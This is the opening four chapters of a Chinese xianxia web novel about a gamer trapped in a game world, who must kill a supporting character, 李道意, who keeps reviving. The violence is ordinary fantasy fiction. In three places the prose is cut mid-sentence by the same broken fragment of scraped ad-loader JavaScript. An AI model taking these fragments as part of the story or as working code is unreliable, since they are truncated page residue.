《杀了反派好多次》
1. 001
剑宗的黄昏是修仙界的一道奇景，层层叠叠的光晕笼罩着山峰，剑宗共八座山头，其中灵气最为旺盛的是落霞峰。
霞光透过木窗照进房内，勾勒出青色纱帘后的人影。
【由于宿主已经失败了两次，秉持着事不过三的原则，如果宿主这一次的任务失败，宿主将永远留在这个世界。】
冰冷的机械声音消失，房中重归寂静。
司马稚强忍着骂天骂地的冲动，试图和系统讲道理：“我已经杀了他了啊！两次！！他还能复活关我什么事啊？！就是你们破游戏的策划设置错了！！！”
【……】
司马稚深吸一口气，“你们自己的错误不会要让我来承担吧？凭什么啊？凭我长得好看、剑术又高吗？没见过你们这么欺负人的！！！”
【……】
讲道理无果，司马稚越想越气。
她之所以在这个破地方，都是因为她之前玩了个叫《魔君的小医仙》的修仙游戏，游戏剧情温馨又甜蜜，只不过其中有个男配的结局不好。
那男配修为高深却一直无法突破飞升，反而是男女主在他面前轻而易举地飞升了。
也不知是不是男配做了什么十恶不赦的事，连游戏世界都容不下他。
于是司马稚就被游戏系统绑进了这个修仙世界里面，任务是杀了这个男配。
但自从她穿到修仙界，她已经杀了李道意两次了！！
整整两次！！！
凭她一个只会剑术，连灵根和修为都没有的人，杀了剑宗的天之骄子两次！
司马稚觉得自己的任务已经圆满了，没想到这李道意杀不掉，根本杀不掉。
每一次回溯醒来，她都是在这个破地方。
甚至有了前两次的经历，司马稚在心里默数三个数，门外就有人敲响了房门。
“小师妹，”屋外传来大师兄邱宗然的声音，“灵网上有消息，剑宗镇上又有傀儡出没。”
邱宗然是剑宗掌门李沧舟的首席大弟子，也是他们的大师兄。
而他口中说的傀儡，其实就是修士，不过是被堕魔控制之后在修仙界搞破坏的修士。
这群傀儡一到晚上就丧失了意识，由堕魔控制着在修仙界作乱。
司马稚第一次杀李道意，就是将他推到了傀儡面前为自己挡刀。
当时她穿过来还不到一天时间，还以为自己这么快完成了任务，就能顺利回去了。
没想到，眼睛一闭、一睁，又是之前的剧情重复。
她一脸死意地打开房门，怏怏道：“我不是你的小师妹，我是魔族圣女，我是来你们修仙界搞破坏的。”
邱宗然一愣，猛地笑道：“小师妹是不是还没睡醒呀？你虽是魔族散修，怎么会是魔族圣女啊？小师妹快把佩剑带上，咱们下山捉傀儡去！”
司马稚眼神麻木，这世道，说真话都没人信了。
她穿成的是她自己在游戏里创建的角色，玩游戏嘛，当然是要当反派了，就是要选魔修逆境生长才刺激。
当时的司马稚有多么喜欢玩这个游戏，现在就觉得当时的自己有多么脑残。
魔族啊，那可是和所有修仙门派为敌的一个种族。
还好，当初创建角色的时候，司马稚没有傻缺到把自己的角色捏成一个黑皮大汉，她还是喜欢现在这个香香软软的身体。
如果不是有这样的绝世美貌，司马稚真的很想让人把自己砍了一了百了。
邱宗然见她一动不动，催促道：“师妹快呀，捉完傀儡，说不定掌门能给好多修炼丹！到时候提升修为，去参加琉光宗大选，也能分到一个好的派系。”
司马稚深吸一口气，调整自己的情绪。
这才第三次，她还有一次机会的不是吗？
一定可以成功杀掉李道意，然后回家去！
司马稚转身，把重剑背在身后，“走吧。”
她没什么修为，她们魔族和这些普通的人不一样，魔族生来都是没有灵根的，而是靠魔骨来积攒修为。有的魔天生就有魔骨，有的到死都没有。
鉴于之前倒霉的经历，司马稚觉得自己属于后者。
那能怎么办？还能死咋的？
等着司马稚跟着邱宗然走到落霞峰的时候，有好几位修士已经在落霞桥附近等着了。
剑宗修士的衣袍都是一样的，青色洗到泛白的衣袍，每人的衣袍上都或多或少打着补丁，别的宗门一年能发放好几套衣袍，而剑宗是两套衣袍穿好几年，反复使用。
司马稚远远看去，那少年格外出众，他站在众人之间，背对着霞光，他手中拿着一把轻巧的长伞，伞面流动着璀璨的星辰，伞身是一把锋利的剑。
他修长的双腿掩藏在泛白的旧袍下，一根细弱的束带勾勒在腰间。
少年满头银白，长而卷的发丝披散在他身后，耳侧稍短的头发被编成了两根小辫，有时会遮住左侧耳尖挂着的合欢花坠子。
那一双绀青色的眸子还未回神，他不知在看向哪里，似乎都还没有注意到司马稚正虎视眈眈地站在他的身侧。
他还沉浸在他的回忆里，耳边似乎是夜晚即将降临的风声，又或许是上一次那少女向他乞求的声音。
“我求你了，你快死吧。”
少女口中说着最软的语气，下一秒就将长剑刺进他的胸口。
李道意蓦然回神，长睫颤了颤，侧眸看清了身前的少女。
司马稚咬牙切齿地喃喃道：“李、道、意。”
邱宗然听到身后司马稚直呼少主的大名，低声问道：“小师妹，你与少主熟吗？”
熟、怎么不熟？
如果不是李道意，她就不会被系统绑进这个修仙游戏。如果不是李道意一直死不掉，她早就回到自己的世界了。
好想把他从落霞峰上推下去^_^
但司马稚转念一想，第一次杀李道意是她借刀杀人，第二次是她趁他救人之后虚弱，将剑送进了他胸膛。
这是第三次……
要给李道意选一个什么死法，才能让他彻底死去，结束这一切？
由于目前司马稚还没想好，便只能先忍着，等她找到解决办法了，再将李道意一击毙命。
李道意淡漠的目光扫过一眼众人，那停留在司马稚脸上的视线却更灼热一些。
她是被剑宗掌门李沧舟亲自带回来的，说是捡来的魔族散修，却剑术异禀。而她没有魔骨，说不定能培养成为一代剑宗。
李沧舟就是这样，无论对谁都有一副好心肠，就连魔族人都能得到李沧舟的偏爱，只是除了他。
邱宗然走过去，李道意才收回视线，他淡淡道：“师兄。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
”
邱宗然入门的时间早，是剑宗的首席大弟子，李道意虽然是剑宗少主，但在这修仙界嘛，还是得按照排行定先后。
邱宗然收了在司马稚面前的笑容，正义十足道：“前去剑宗镇，活捉傀儡。众人牢记，这些傀儡都是被魔族控制的修士，是我们的道友，不得下杀手！”
众人应：“是！”
司马稚：“哦。”
李道意：“……”
“那好，”邱宗然数了数人数，“两人一起，有个照应。”
一共有十三个人，两两成双对，最后也只留下了司马稚、李道意和邱宗然三人。
邱宗然看了看李道意那张拒人于千里之外的脸，想了想：“我和小师妹一起，少主修为高，应该没有什么问题。”
司马稚也点了点头。
她第一次完成任务的时候，当时为了和李道意有尽量多的独处时间，能对他下手，所以非要闹着和李道意一起。
当然，那一次也是成功地把李道意送进了傀儡的剑下。
只不过，已经经历过一次了。
司马稚知道，被傀儡杀死的李道意依然还会复活。
所以，今晚，她并不准备动手。
“有问题。”李道意说，他催动佩剑长星，凌空而起，“她没有修为，才更要和我一起。”
邱宗然正想叫司马稚一起站在他的佩剑上，就见李道意将长星剑从伞中拔出，锃亮的剑身映射着落霞的光芒，犹如点点星子锻打而成。
邱宗然看了一眼自己手中的剑，剑身轻薄，若是两人同乘的话，他的爱剑可能会承受不住。
剑修嘛，无论如何，都是把爱剑放到第一位的！
邱宗然也不犹豫，“少主说得没错，小师妹去和少主同乘吧，我跟在你们身后。”
司马稚：“……”
她记得之前李道意好像没有说过这句话，不知是不是她重复几次之后，记忆变得混乱了。
虽然很看不惯这个罪魁祸首，但司马稚还是站到了他面前，毕竟她没有修为，又催动不了佩剑。
她仰着头，向李道意伸手，“太高了，我上不去。”
李道意扬了扬眉，手中掐诀，一股灵力将司马稚猛地带了上去。
司马稚晃晃悠悠，差点没踩稳，下意识抱紧了前人的腰。
她第一次也是踩着长星剑，站在李道意身后飞往的剑宗镇。
但那时候的李道意，有这么粗暴嘛？
司马稚记不太清了。
从落霞峰到剑宗镇不算太远，剑宗八大山头下的就是剑宗镇。
司马稚认真回忆了一下，游戏剧情里，李道意就是在某一次捉傀儡的途中，救下了女主卓蕙心。
跟随剧情的发展，李道意变成了一个既苦情又恶毒的男配。
之前两次，司马稚并没多管这个剧情，当时想着把这李道意杀了就完事了。
可那连续两次任务，她明明完成了，但在系统那边验证却还是失败。
现在想想，说不定是和游戏剧情有关。
难道她还要先帮李道意解开心结，让他主动赴死吗？
不可能、绝对不可能。且不说她司马稚是坚定的男女主CP党，而她本人压根就不是救赎文中的那种知心大姐姐。
李道意，爱死不死。
2. 002
因为剑修热爱“修行”，药宗的草药田、丹宗的炼丹炉被剑修摧毁之事是家常便饭，而且这合欢宗的人还尤其喜欢去找剑修和无情道的人谈天说地，所以时常扰得周围的宗门哀怨冲天。
于是，剑宗和合欢宗在好几百年前，就被执法宗的人划分到了修仙界最偏远的位置。
一个在南，一个在北。
由于合欢宗的修士太过火热、剑修大部分又是无情道选手，所以就将合欢宗安排在最北方，而剑宗则是最南边的临近魔域的剑宗镇上。
这里地处修仙界边缘，更加靠近魔域，入夜后的小镇上漆黑一片，连月色都不关照此处。这般浓郁的黑色倒与魔域没了什么区别。
长星剑划过夜空，留下一道蜿蜒的星痕。
司马稚站在李道意身后，被他挡去了前方所有的视线，她偶尔低头往下一看，下方烟云缭绕。
还好她不恐高。
长星剑的速度渐渐慢了下来，停在剑宗镇上方。
好一半晌，李道意都没有动静。
司马稚用手戳了戳他的肩膀，“你动一动！”
李道意被她戳过那片肌肤僵硬着，他微微侧眸，瞥见了少女落在他手边的衣袖，轻柔绵软。
要是摔下去，摔成肉泥的话，血会不会从衣衫里面溢出来？如果李道意没记错的话，好像是会的。
司马稚顺着李道意的视线往下看，这样的高度，要是摔下去的话，应该能摔成很多块。
而李道意踩着长星剑的脚尖刚一挪动，就被身后的司马稚抱紧了腰。
他生得高挑，像是挺拔的青竹。
司马稚扑向他的后背，像是撞进了一堵硬墙，鼻息间传来一抹淡香。
和别的只爱练剑，不爱洗澡的剑修身上的味道不一样，李道意身上萦绕着一股清浅的昙花味，很淡的味道。
司马稚想，李道意虽然是男配，但好歹也是这游戏剧情里的重要人物，爱装一点是正常的。
“不是！你想干什么？”司马稚死死地拉住他的腰，“我不会御剑，你得把我放到安全的位置啊！”
司马稚后背发寒，刚才李道意停顿的那一秒，实在是太诡异了，就像是想要从长星剑上直接跳下去一样。
要是他自己跳下去摔死了，她还怎么完成任务？还好她眼疾手快，一把将他拉住。
他的腰好硬，司马稚又添了一份力，掐紧了些。
李道意闻言，怔愣一瞬，他的腰被司马稚掐得生疼。
李道意睨了她一眼，还是稳稳地将长星剑停在剑宗镇的街巷中。
脚踏实地总算给了司马稚一些安全感。
入夜后，没了落霞的光，加上司马稚也没有修为，在这无尽的黑夜里有些寸步难行。
剑宗镇近日来闹傀儡修士闹得很严重，人们晚上都不敢点灯，一入夜便是漆黑一片。
司马稚看不见路，她只能跟着李道意手中的那把长星剑留下的痕迹移动。
而李道意似乎善心大发，也没驱赶她，任由她跟在身后。
少年执伞行在天光暗淡的夜里，嘴角带着浅笑，眸子却如冰冷的万丈深渊。左耳的合欢花坠子随着他的步子，一摇一晃。
司马稚握紧了自己手中的重剑，瞥了一眼身前的李道意，忍了忍才没举起剑砍向他。
现在杀了他，也完成不了任务，她只有最后一次机会了，她得忍下去。
邱宗然紧赶慢赶，终于追了上来，从乾坤袋里取出一颗夜明珠，递到司马稚面前。
邱宗然说：“小师妹，你没有修为，拿着这个。”
一颗夜明珠能值十颗灵石，剑修大多都穷，这邱宗然倒还挺大方。
司马稚回忆了一下，好像前两次经历中，邱宗然对自己都还不错，不会因为她是李沧舟捡回来的魔族散修而孤立她，反而对她多加关照。
比起李道意那个人，邱宗然可是好太多了。
司马稚接过邱宗然手上的夜明珠时，她似乎听见了身前的李道意轻哼了一声。
司马稚仰头看去，而他又背对着自己，仿佛刚才只是一阵风过。
司马稚：“……？”
她就说这个李道意绝对是恶毒男配！！
暗夜之中，四周静寂无声，司马稚手中的夜明珠也只能照亮她周围方寸，她垂眸所见，只能看清李道意脚边有些破损的衣摆。
剑修就是穷啊。
还没等司马稚多想片刻，“嘎吱——”一声轻微的响动，不知从哪儿飞来的傀儡在少年掌中被轻易地折断脖颈，沉闷落在地上，扬起一地尘埃。
司马稚刚举起手中的夜明珠，想看个清楚。
她握着夜明珠看过去，就见李道意刚松了手，他低眸冷淡地扫过一眼脚边的尸体，轻描淡写的样子好像什么都没发生过。
他动了动自己手腕，那只手上还不断往下滴着翻着黑气的血液。
少年使了个清洗诀，顺带将四周的腐朽气味驱除干净。
邹宗然走在两人身后，闻声上前，语气中难免带有责备：“少主！这傀儡修为尚低，为何将他杀了？！师父教导我们要有救世之心，他们虽是受魔域蛊惑成了傀儡，但也有救治之法，师父说过要带回宗门净化……”
司马稚眨了眨眼，剧情和回忆同时浮现。
原剧情里，李道意并未出手，而是在看到原女主受到傀儡伤害后才出手斩杀，自己也受了伤。
之前的两次，她好像也没见李道意使出杀招，反而是作壁上观，毫不在意能不能抓到傀儡这件事。
太异常了。
难道是因为这是她的最后一次机会，系统给她的难度升级了吗？
不管怎么说，她还是得慢慢找到真正完成任务的办法。
邱宗然还在耳边喋喋不休地教导李道意，虽然李道意是剑宗少主，但邱宗然仍是剑宗的大弟子。
司马稚以为，他不听也得听。
结果没想到，少年摇了摇手腕，冷冷吐出两字：“聒噪。”
邱宗然：“……？少主！就算少主有什么苦衷，那也不能直接对同道中人下杀手呀？！”
司马稚侧眸看过去，李道意紧抿着唇，他还一句话没说，邱宗然就开始替他找苦衷了。
“我知道是这傀儡害人在先，但少主太冲动了，我们剑宗日后不好与他宗交待啊……”邱宗然感叹一声。
“哦，”李道意应了一声，“那便全杀了。”
司马稚难以置信，剧情里的温柔男配会说出这种话吗？肯定是系统给她的任务难度升级了！
邱宗然显然也没反应过来，在原地呆愣了好半天，等到司马稚和李道意都走远了，才想起来要给死掉的傀儡收尸。
邱宗然放出神识，才能看清两人离开的背影。
他无奈地摇了摇头，这小师妹虽然是掌门从外面捡回来的魔族散修，但性子开朗又温和，整天都笑盈盈的，长得也像个可爱娃娃似的。
而他的好少主，可是剑宗唯一的传人，两百岁突破金丹境界的第一人。不说多么慈悲大义，但也应该是个乐于助人的剑修吧？
可李道意完全相反，他沉默寡言，虽然带着笑，但那笑容瘆人。全宗上下与他说过话的不超过十人，同门见着他也都避着走。
少年身姿高挑清瘦，阴冷的夜风拂起少年的袍边，同色的发带与银白色的发丝纠缠，他的佩剑在背后，剑身上绑缚着白色的绸带。
剑宗镇上没有月亮，少年的发色是夜里唯一的白。
司马稚警惕地看着李道意的背影，如果她没记错的话，不过片刻，一群走火入魔的傀儡追着原女主跑的时候，就会撞上他们。
李道意会救下原女主，然后深深地爱上她，又爱而不得。
难道真要满足李道意的心愿，再杀了他，才能算完成任务吗？
司马稚想不明白。
她也来不及多想，一股浓郁的药香伴随着激烈的奔跑声由远及近。
司马稚提剑挡在李道意的面前，之前两次包括原剧情里，都是李道意出手救了原女主，如果这一次她抢先救下，那李道意是不是就不会喜欢上原女主了，直接从根源扼杀。
她简直就是个天才！
司马稚握紧手中的重剑，这个身体点满了剑术技能点，虽然没有什么修为，但她的剑术也能抵抗金丹以下的修士。
李道意静默地看着司马稚挡在自己身前，少年的脸一半隐没在夜里，一半被夜明珠的光照着，眸子似乎多了分不解。
“救、救命！”卓蕙心大叫着，喘着粗气，朝着她手中光亮奔来。
这些堕魔的傀儡都是被堕魔族用傀儡丝控制的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
，若是想将他们打晕，只能斩断他们身上无形的傀儡丝。
但司马稚没有修为，她看不到傀儡丝。
她回头看了一眼李道意，和只有几步距离的卓蕙心。
她得替李道意英雄救美。
司马稚提起重剑，借力向傀儡挥去，她斩不断傀儡丝，那就只有把傀儡斩死。
少年的身影缥缈，如鬼般挡在了她的剑下，长星剑想要出鞘，却只发出一声铮鸣。
司马稚立马反应过来，侧身将重剑砍进厚墙之中，面前的厚墙砰然倒塌。
司马稚用最快的速度，将左手的夜明珠砸向傀儡的额间，夜明珠瞬间粉碎，散落一地。
而那傀儡的脑袋也空了个大洞。
“你有病吗？！”司马稚怒吼。
李道意拧了拧眉，意想之中的重剑没砍在他的身上，看了一眼脚边坍塌的墙面和死掉的傀儡。
他忽然笑起来，笑意张扬。
李道意缓缓转身，他轻言细语：“师兄说了，不要杀他们。”
李道意又将视线落在废墟上，那傀儡额间的大洞还在冒着黑气，而李道意的神情像是在威胁她一样。
他什么时候又这么好心了？！明明前不久才徒手掐断了一个傀儡的脖子，现在用自身来给傀儡挡刀？！
开什么玩笑？！
司马稚气得双脸涨红，她刚才就不应该收住手，就该把李道意砍死！
而这被她砸死的只是一个修为低微的傀儡，身后无形的威压传来，司马稚知道这个傀儡才是今天的重头戏，也是她第一次将李道意推到了这傀儡的剑下。
夜明珠碎成点点星子，司马稚抬头，那金丹境界的傀儡站在废墟之上，他猝不及防地祭出长剑向着同样是金丹境界的李道意砍去。
司马稚迅速反应过来，提剑迎敌，重剑挥出的剑气扬起一地尘埃。
她不敢轻敌，而偏偏李道意轻描淡写，他手中的剑伞随意挽了个剑花，像是玩一样应对着傀儡。
司马稚没有修为，饶是剑术厉害也抵不过灵力上的威压。
那傀儡也看出了她或许是突破口，便一门心思朝她袭来。
李道意抬手，将司马稚拉至身后，他绑着的小辫扫过她的鼻尖，而司马稚借力从他身后突袭，用迅雷不及掩耳之势将一道破灭符与重剑插进了傀儡胸膛。
傀儡的身体在面前炸开，司马稚的脑子突然短路了片刻。
“呸、呸！”司马稚吐了好几声，才将口中的血沫吐了个干净。
她抬眸，不去看李道意，只见卓蕙心瘫坐在角落，瑟瑟发抖。
司马稚握紧手中的重剑，向卓蕙心走过去，她蹲在卓蕙心面前，放柔语气：“姑娘，你没事吧？”
大侠救完人之后大约都会问这么一句话。
卓蕙心点了点头、又摇了摇头，“多、多谢。”
司马稚回头，看向李道意的眼中满是怨恨。
他若是与自己合手，定能轻松地解决这个傀儡，但他像是在看戏一般，只是躲着攻击，却不出手。
而现在，李道意漠然地站在一旁，眸子里半点看不出剧情中写的，他对原女主卓蕙心一见钟情的惊艳。
好奇怪。
司马稚摸了摸身上的荷包，里面只有一颗孤零零的灵石。
司马稚：“……”
“这里危险，姑娘有机会的话，可以去执法堂寻求庇护。”司马稚说完，刚一低头，就看见卓蕙心含泪的大眼睛。
卓蕙心颤颤巍巍：“我、我不知道执法堂……”
也是，现在的卓蕙心还只是一个凡人，只是因为身怀药香，就被傀儡追杀。
司马稚顿时心软了，“那……你先跟着我吧，明日我送你去执法堂。”
卓蕙心满脸感激：“多谢姑娘！”
司马稚刚站起身，就见着刚给上一个傀儡收完尸的邱宗然，对着被她杀死的傀儡们，沉默地垂下头。
他见着地上碎裂的夜明珠，以及躺着的傀儡尸体，长叹一口气。
邱宗然说：“这怎么和掌门交代啊……”
李道意修长的指尖轻动，一簇灵火落在傀儡的尸体上，瞬间将其烧成灰烬。
“如此，”李道意故意朝着司马稚颔首，打量的目光赤裸裸地落在她脸上，“便不用交代了。”
3. 003
司马稚将卓蕙心带回了剑宗，顺便将她安顿在了自己隔壁的房间。
她之前并没有考虑过剧情的问题，反正她也只是一个玩家而已，又不是游戏里面的角色，剧情的发展跟她有毛关系？
但照前两次失败来看，任务或多或少都不是直接杀了李道意这么简单。
虽然那个脑子短路的超i系统，只是给她发布了这个杀掉李道意的任务，但她确实杀了两次也没成功。
所以，司马稚想了又想，或许还真得完成李道意的某些夙愿才行。
这已经是最不喜欢思考的人，想出来最合理的原因的。
司马稚在床上打了个滚，仰天长叹：“要是他不和卓蕙心接触，那不就不用喜欢卓蕙心了嘛！”
她又蓦地咳了好几声，捂着胸口生气，被傀儡打出的内伤还没好。
都怪李道意！！这一切都是李道意的错！
既然是恶毒男配了，那就该孤独终老啊！
司马稚觉得自己应该把卓蕙心看得紧一点，至少不要让她和李道意有过多接触。
司马稚起身，背上重剑，在乾坤袋里塞进了自己所有的灵宝、丹药和符文，就往隔壁去。
她刚一推开门，一抬眸就瞥见站在她院中的少年身影。
长星剑插在屋顶，少年依靠在长星剑上，他撑着伞，那银白色的长发格外刺眼。
他执伞飞身轻盈地落在自己面前时，司马稚还瞥见他耳边的小辫晃了晃。
司马稚：“……”他果然还是对卓蕙心有所企图。
李道意缓缓上前，将符信递向司马稚，“他想见你带回来的这人。”
他话中未明，但司马稚也清楚他口中说的是谁。
之前，是李道意带着卓蕙心去见的掌门李沧舟，这一次她将卓蕙心抢了过来，那也应该是她将卓蕙心带去。
只不过，这李道意是否有点过于好心了？
“知道了。”司马稚应道。
而李道意仍站在面前，那双眸子不知在看什么。
司马稚也被笼罩在他的伞下，她别扭地往后退了几步：“又没下雨，你撑伞做什么？”
李道意抬眸看了看密不透风的伞面，轻笑了一声：“我见不得光。”
“……”司马稚面对李道意，不由得警惕起来：“你怎么还不回落霞峰？”
李道意饶有兴致，打量着她的神情，答非所问：“你在防着我。”
司马稚面不改色，“那不然呢？我是魔族散修，才到剑宗不久，除了大师兄对我没有偏见，你们不都……”
“不是这个，”他说，“因为她么？卓、蕙、心？”
司马稚愣了一瞬，昨夜她将卓蕙心带回剑宗的时候，似乎没听到卓蕙心说过自己的名字。
“对、对不起……”卓蕙心掐着门框，小心翼翼地说着，“昨夜姑娘救我一命已是大恩，我先下山吧。”
司马稚回头，卓蕙心胆怯又委屈，她如今还只是一个没养出灵根的凡人。
当初司马稚玩游戏的时候，也是见证着卓蕙心一点点成长起来的。
司马稚看向李道意，这个院子里最该走的人，不应该是他吗？
李道意就算接收到了司马稚的视线也不为所动。
司马稚败下阵来，决定主动出击：“你昨夜明明能先出手，为什么要等到我打不过的时候才……”
他轻笑着，似乎是恍然大悟，“你打不过啊。”
司马稚：“……”
她才懒得和李道意计较，司马稚走到卓蕙心面前：“掌门想要见你，你若不想去的话，我就送你去执法堂。”
她其实也不知道李沧舟为什么要见卓蕙心，在她玩过的游戏剧情里，对这些琐碎的事情也没有细致描写。
对于卓蕙心在剑宗的这段日子，剧情只写了她刻苦学习，在不断历练中养出了灵根。
卓蕙心也有些困惑，但想到主人家已经邀请了，便说着：“我没关系的，本来就该去感谢掌门，只是我囊中羞涩，并无……”
司马稚犹豫片刻，将自己的乾坤袋递给卓蕙心，“里面有一些灵宝，掌门要的话，你给他就行。”反正本来也是剑宗的东西。
李道意“啧”了一声，这少女似乎听懂了，但没完全听懂，要是李沧舟知道自己被人想成是找人讨要回报之人，不知道脸色会有多么精彩。
去往大殿的路上，司马稚一直提防着李道意的视线，只要他一往自己这个方向看，她就瞪回去，势必要把卓蕙心保护得好好的。
但这一路上，他不知偷看了多少次，以至于司马稚的眼角都有些抽筋了。
最后，卓蕙心独自一人走进大殿后，司马稚将李道意拦在殿外。
她开门见山：“你是不是对卓蕙心一见钟情了？”
李道意：“……”
李道意的沉默被司马稚看成默认，司马稚扶额，她昨夜都没让两人接触了，就连带卓蕙心回剑宗，都是她求了邱宗然御剑带的人。
难道这个剧情设定，诡异得只要看一眼就能爱上吗？
“一见钟情？”李道意反问，“什么意思？”
司马稚无语，但内心的声音告诉她，还是不要给李道意讲太多为好。
“那、反正……”司马稚斟酌了一下用词，“你不要老是看她就行。”
李道意挺直了腰，让司马稚难以直接看清他的表情，但从他嘴角的幅度来看，司马稚猜，他应是不屑。
他轻哼了一声，“那你怎么总是看我？”
司马稚两颊涨红，如果不是他老是盯着她们这边，她怎么会回瞪他？！他这人倒还反客为主了！
司马稚深吸一口气，强忍着把李道意砍成两半的冲动，“我劝你不要抱有什么非分之想，卓姑娘她已经定亲了，而且她……”以后的对象可是爆炸炫酷的魔君大人！
李道意并不在意，他目光淡漠地扫过一眼刚走到司马稚身后的卓蕙心。
卓蕙心点了点头，“果真是仙长，连我儿时定下的婚约都了如指掌。”
“……”司马稚猛然回头，见卓蕙心害羞地对自己笑着，“掌门问你什么啦？”
她话音刚落，大殿之中便传来让她独自入殿的声音。
司马稚警惕地看了一眼卓蕙心和李道意之间，悄悄俯在卓蕙心耳边说道：“少主他身怀恶疾，离女子近了便会上吐下泻，卓姑娘你最好离他远一点。”
卓蕙心乖乖点头，“多谢姑娘，我记下了。”
虽然当着别人面，抹黑别人，实在有些脸红耳热，但司马稚给自己洗脑，这一切都是为了回家，只要能回到正常的世界，做的一切都
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
是值得的！
大殿之上，只坐了李沧舟一人。
白发苍苍的剑道巅峰，如今却快因突破不了境界而身陨。
这一件事，只有看过剧情的司马稚知道。
他的头发是花白的，与李道意那如绸缎般好看的银白发不同，李沧舟浑身上下都散发出一种死亡的气息。
“掌门。”司马稚拱手向他见礼。
他伸出苍老干枯的手摆了摆，“我当初带你回来，是因为你说，你有保全剑宗的办法。”
“……是。”司马稚硬着头皮点头。
她哪里有什么办法，不过剧情里说的是李道意日后会是修仙界至尊的道君而已。
那这李道意又是剑宗出身，剑宗肯定能在修仙界立足。
李沧舟闻言沉默了一瞬，“我寿命将尽，如今最放心不下的就是师父交到我手中的剑宗。”
司马稚也不犹豫：“掌门你放心去吧，剑宗在李道意手里肯定出不了什么事的。”
闻言，李沧舟猛地咳嗽了起来，苍老干枯的皮肤松松垮垮地套在骨头上。
李沧舟咳得浑浊的眼睑都泛出了绯红色，“不、就是因为他，我才担心剑宗。”
他意义不明，司马稚也听得云里雾里的。
而李沧舟忽然将手边的一枚玉佩运到司马稚面前，“这是玄冰玉佩，如果、他有一日做出危害修仙界之事，你就将他封印进去，或者、直接杀了他。”
司马稚愣住：“……？”
李沧舟顿了顿，继续说道：“你虽然是魔族散修，但魔族也是这修仙界中的一份子。”
司马稚低头，看着自己手中冰冷的玉佩，脑中浮现出前两次的经历。
第一次，她在黑夜里推了李道意去挡刀，让李道意死在了傀儡的剑下。
第二次，她在卓蕙心送给李道意的吃食里面下了毒，亲眼见着李道意吃了下去，她还上去补了刀。
然而原剧情里，也没出现过李道意毁天灭地的场景。
相反，他成为了修仙界至高无上的道君，如果不是那九百九十九道天雷，李道意应该也跟随着男女主飞升了。
司马稚总结了一下，这都是李沧舟过度思考的原因，年纪大的人就喜欢自己吓自己。
司马稚认真道：“掌门放心，剑宗肯定没什么大危机。”
这李道意虽然是男女主爱情路上的绊脚石，但也不至于做出危害修仙界的事。
司马稚走出大殿的时候，早已没了李道意的身影，卓蕙心还在原地等她。
见司马稚出来，卓蕙心迎了上去：“仙长！”
司马稚也朝她笑了笑，她玩游戏的时候，卓蕙心是她最喜欢的角色，谁会不喜欢养成系甜妹呢！
卓蕙心给司马稚解释道：“掌门说我体质特殊，孤身在外实在危险，所以同意我留在剑宗，与大家一起修行！”
司马稚早就知道，这李沧舟就是一个善意泛滥的人，宁可多捡一个，也绝不放弃一个。
李沧舟在路边捡到她，就算知道她是魔族散修，也能力排众议将她带回宗门，更别说像卓蕙心这种弱小无助的平民了。
她忽然一想，李沧舟这个老好人，对谁都好。
但是他刚才对她说的话，是让她封印或者杀了……
李道意？！
4. 004
卓蕙心将乾坤袋还给了司马稚：“掌门说这些东西都是仙长的，他不需要。”
不要白不要，司马稚利落地将乾坤袋系回自己腰间。
卓蕙心很高兴能留在剑宗，还把司马稚当作了她的恩人：“不瞒仙长，我从小就容易招来一些妖魔鬼怪。但我也没能明白他们为何会缠着我，今日听掌门一言，我才知道是我药香的缘故。”
司马稚点了点头，这药香是女主卓蕙心特殊的体质，也是因此，卓蕙心也曾经受了不少磨难。
直到被李道意救回剑宗之后，卓蕙心才有所庇护。
主角嘛，必先苦其心志、劳其筋骨。
但司马稚不是，她只想快点回到自己的世界躺平，修炼这种费心费力的事，一点都不适合她。
司马稚正要带着卓蕙心回去，就见邱宗然急匆匆地跑来，“小师妹！你看灵网了吗？”
“还没呢，又有傀儡了吗？”
司马稚一边问着，一边拿出玉牌，低头看着灵网上的言论——
【琉光宗金丹期符修申赫堕魔，消失于剑宗附近，若有道友斩杀，即可用其内丹到琉光宗领取五百灵石。】
“五百灵石诶！”司马稚感叹一声。
邱宗然无奈地强调：“小师妹！！金丹期的符修，不会是昨夜那个……”
司马稚点了点头：“应该是他吧。”
“还好琉光宗不计较，不然就完蛋了。”邱宗然叹了口气：“哎！只不过、可惜那傀儡已经被少主毁了，要不然五百灵石够我们全宗上下花好久了！”
司马稚也觉得有一点亏，五百灵石对于剑修来说可是一笔巨大的财富。
尤其是她现在又很需要灵石，还得去珍宝阁买一些丹药和符文，送给卓蕙心防身。
最主要还是防李道意。
司马稚动手又往后翻了翻玉牌——
【吃了合欢道师姐送来的糕点，现在满眼都是师姐了，怎么办？】
司马稚好奇，把玉牌上的信息给邱宗然看：“师兄，合欢道的糕点有这么厉害吗？”
邱宗然拧了拧眉，坚定道：“合欢道肯定没有我们剑宗厉害！你入门时间晚，不知道咱们和合欢道的渊源。”
“那些合欢道的不知道迫害了多少咱们剑修！”邱宗然看着司马稚身边卓蕙心，自信地说：“咦，这位道友天生药香，留在我们剑宗特别合适啊！我们的爱剑经常受损，特别需要道友这般的奇才。”
卓蕙心与邱宗然并不太熟，还是紧紧依靠在司马稚身侧，“师、师兄过誉了，我如今还没有修为，想来还需要修行许久。”
邱宗然憨厚一笑，“那你二人住在一起不正好嘛！”
卓蕙心看过来，司马稚应道：“对哦，我也没有修为。”
卓蕙心惊讶：“姑娘你没有修为也这么厉害么？！那夜姑娘的剑术……”
几人在大殿外欢喜地谈着，一面向外走去。
李道意坐在屋顶，他放出的神识三人都没有察觉，他沉默着将几人的对话都听了个清楚。
那傀儡的内丹……
李道意敲了敲身侧的伞面，里面的长星剑毫无反应。
李道意揉了揉额角，“吐出来，吃颗傀儡的内丹不恶心么？”
长星剑在被李道意敲击了许多次之后，终于将那颗内丹吐了出来。
一颗泛着黑气的内丹掉在脚边，李道意凝视许久，也不觉得这颗内丹对于琉光宗有什么价值，能让他们用五百灵石来换。
修仙界门派众多，其中琉光宗是修仙界最顶尖的宗门，资源丰富，人才众多，其中执法堂也是在琉光宗的管理之下。
琉光宗每一百年有一次仙门大选，所有修仙界的修士弟子都能参加，只不过能进入琉光宗修行的也只有寥寥几人。
